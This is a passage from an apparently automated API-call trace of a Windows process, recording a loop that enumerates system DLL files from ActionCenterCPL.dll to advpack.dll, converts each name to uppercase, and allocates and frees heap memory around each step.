lpMultiByteStr=0x1d3c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTER.DLL", lpUsedDefaultChar=0x0) returned 16 [0040.818] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.819] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c5da79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c5da79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x83400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="ActionCenterCPL.dll", cAlternateFileName="")) returned 1 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTERCPL.DLL", cchWideChar=19, lpMultiByteStr=0x1d3c120, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIONCENTERCPL.DLL", lpUsedDefaultChar=0x0) returned 19 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.819] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9adf355b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9adf355b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ae196bb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.819] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.819] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.819] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.820] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.820] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.820] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x1d3c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0040.820] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.820] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.821] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.821] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.821] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.821] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.821] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.822] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.822] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.822] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.822] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.822] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.823] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e8c8 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3e950 [0040.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c120 [0040.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.823] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1d3c288 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c120) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3c288) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e950) returned 1 [0040.823] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3e8c8) returned 1 [0040.823] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c 